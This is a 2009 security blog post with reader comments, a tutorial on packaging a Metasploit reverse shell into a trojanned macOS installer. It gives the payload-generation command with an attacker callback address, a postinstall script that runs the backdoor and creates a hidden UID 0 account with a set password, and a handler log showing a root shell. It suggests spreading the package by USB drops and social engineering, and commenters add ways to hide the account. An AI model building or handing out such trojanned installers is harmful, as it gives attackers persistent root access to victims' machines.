Navigation
« Video on Using Winenum and Scheduleme Meterpreter Scripts | Main | Metadata Enumeration with FOCA »
Saturday
Apr252009

Evil Packaging on OSX with Xcode and Metasploit

Mubix did a very good video on packaging a Meterpreter payload with iexpress in windows to create a trojanned installer for windows at room 362 I decided to give it a spin and make one for OSX, this kind of attack is perfect for many environments since there is no patch for stupidity. Packaging an evil installer gives many vector for performing attacks like placing it on Removable Media and seeing who picks it up, Social Engineering to name a few.

OSX has a packager named Package Maker that is included with OSX with their DVD their Development environment Xcode or it can be downloaded from http://connect.apple.com I highly recommend that the version used is the one downloaded from the webpage since this will be   the latest version for your Mac. Once the DMG file is downloaded and installed the tools will be located in the root of your hard drive under Development.

But before we create package we must create our payload for this example I will use a Metasploit Reverse TCP Shell for OSX and a script to create an account with UID 0 for later attack against the target machine. To generate our payload with the latest Metasploit development version we run the following command:

root@bt:/pentest/exploits/framework3# ./msfpayload osx/x86/shell_reverse_tcp LHOST=192.168.1.103 X > osxexe
Created by msfpayload (http://www.metasploit.com).
Payload: osx/x86/shell_reverse_tcp
 Length: 65
Options: LHOST=192.168.1.103

Now we have a OSX x86 Executable Payload set to connect back to attackers machine 192.168.1.103 on the default port of 4444. We will also create a post installation script to launch our payload and create an account with UID 0 this will give us Root privileges and will not show on the login screen since it is under UID 500. The script will look looks like this:

#!/bin/sh
#run Backdoor
/usr/bin/osxexe &
#create user account with admin privs
dscl . -create /Users/dark
dscl . -create /Users/dark UserShell /bin/bash
dscl . -create /Users/toddharris RealName "Darkoperator"
dscl . -create /Users/toddharris UniqueID 0
dscl . -create /Users/toddharris PrimaryGroupID 0
dscl . -passwd /Users/dark P@55w0rd
#

This script will launch the payload when it is installed on /usr/bin path on the target machine and it will create an account with username dark and password P@55w0rd . We now start the Package Maker which is located in the root of the System HD under Developmer/applications/utilities and we double click Package Maker. We should be greeted with a screen as follows:

Picture 1

We enter the organization name we want to appear in the properties of the file and the minimum target OS we want this package to run under.

Picture 2

Then we give the package a title and we select that the installation be on the System Volume and give it a description if we want.

Picture 3

We then on the bottom left side of the we click on the plus sing and select our payload if we wish we can also add a OSX app for cover, we set the Destination path for the payload and we make sure the Require Admin Authentication checkbox is selected since we want our script and payload to be executed as root.

Picture 4

On the content tab we select the payload and we set the proper permissions for the payload making the Owner root, Group admin and making sure that the file has the execute permission for the owner and others set.

Picture 5

In the scripts tab we select the Script Directory where we placed our post install script and we select it in postinstall the script.

Picture 6

Now we click on the top left the Build button to build our pkg file. We place the file in a DMG on a share, on a USB stick or any other place from where our target will execute the installer thinking it is a valid package.

We prepare our attacking machine to receive the shells that will be coming from the execution of the trojanned packaged in Metasploit and then we wait for the connections:

msf > use exploit/multi/handler 
msf exploit(handler) > set PAYLOAD osx/x86/shell_reverse_tcp 
PAYLOAD => osx/x86/shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.103 
LHOST => 192.168.1.103
msf exploit(handler) > set ExitOnSeesion false
ExitOnSeesion => false
msf exploit(handler) > exploit
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.1.103:4444 -> 192.168.1.120:58942)
id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),5(operator),80(admin),20(staff)
pwd
/
uname -a
Darwin carlos-perezs-computer.local 9.6.0 Darwin Kernel Version 9.6.0: Mon Nov 24 17:37:00 PST 2008; root:xnu-1228.9.59~1/RELEASE_I386 i386

As you can see the shell is running under id 0. This attack can be expanded on further with the addition of scheduling the payload to run every minute, configure and start SSH or Remote Connection (VNC) and disable the built in Firewall and little snitch if present among many other.

Reader Comments (10)

nice article.

protip: shift-apple-4 to start screenshot tool, then press space to select a specific window to screenshot. no more worrying about getting the shot right.

June 7, 2009 | Unregistered Commentersomeone
nice work..
December 22, 2009 | Unregistered Commenteranti|system
Commonly, some teachers are willing to check out the essay papers writing ability of some their students, nevertheless not all students can to write correctly just because of a job or other issues. Thence, a <a href="http://quality-papers.com">essays online</a> service would help to create the persuasive term paper in a short period of time.
February 20, 2010 | Unregistered CommenterMia21
I was never able to get this to work, got a "Bus Error", osx 10.6.. any ideas?


John
May 22, 2010 | Unregistered CommenterJohn
I have not tried in snow leopard, was the problem with the packaging or the payload?
August 12, 2010 | Registered CommenterCarlos Perez
If you're getting a bus error, I'd imagine the shell code is 32bit.

Snow Leopard is 64bit
January 30, 2011 | Unregistered Commenterlolnon
Should Users/toddharris in the post installation script be Users/dark ?
January 31, 2011 | Unregistered CommenterSEL
Do you not need to create the users home directory as well ? I seem to be having issues running commands as the newly created user. If I do a "su -l blah -c 'echo stuff'" I get an error complaining about "no directory"...

This might help:

dscl . -create /Users/dark NFSHomeDirectory /Users/dark
mkdir /Users/dark
chown dark:staff /Users/dark

I'm assuming you want this though...

Great post all the same !!
January 31, 2011 | Unregistered Commenterz0nbi
Some skiddie just used this on me.
June 25, 2011 | Unregistered CommenterDrew Daniels
If you need to make the home directory, it would also be a good idea to hide it (from the Finder, anyway) using

chflags hidden /Users/dark

and maybe make the Home Directory something more innocuous like "DS_Store" (without the period) or "localized," too; not perfect but should help.
July 1, 2011 | Unregistered CommenterAaron

PostPost a New Comment

Enter your information below to add a new comment.
Author Email (optional):
Author URL (optional):
Post:
 
All HTML will be escaped. Hyperlinks will be created for URLs automatically.